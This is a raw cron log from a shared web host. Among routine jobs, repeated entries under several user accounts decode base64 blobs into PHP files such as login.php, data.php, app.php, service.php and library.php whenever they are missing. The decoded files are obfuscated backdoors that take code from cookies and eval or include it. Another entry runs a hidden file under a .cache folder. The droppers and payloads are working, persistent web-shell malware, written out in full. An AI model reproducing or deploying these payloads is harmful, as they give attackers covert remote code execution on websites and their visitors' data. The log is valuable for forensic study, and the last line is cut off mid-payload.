Mar  1 18:47:01 medusa CROND[32258]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:47:01 medusa CROND[32259]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:47:01 medusa CROND[32262]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:47:01 medusa CROND[32265]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:47:01 medusa CROND[32266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:47:01 medusa CROND[32267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:47:01 medusa CROND[32269]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:47:01 medusa CROND[32270]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:48:01 medusa CROND[24099]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:48:02 medusa CROND[24253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:48:02 medusa CROND[24278]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:48:02 medusa CROND[24279]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:48:02 medusa CROND[24280]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:48:02 medusa CROND[24281]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:48:02 medusa CROND[24283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:48:02 medusa CROND[24288]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:48:02 medusa CROND[24290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:48:02 medusa CROND[24289]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:48:02 medusa CROND[24291]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:48:02 medusa CROND[24305]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:48:02 medusa CROND[24308]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:49:01 medusa CROND[16320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:49:01 medusa CROND[16422]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:49:01 medusa CROND[16427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:49:01 medusa CROND[16428]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:49:01 medusa CROND[16429]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:49:01 medusa CROND[16432]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:49:01 medusa CROND[16433]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50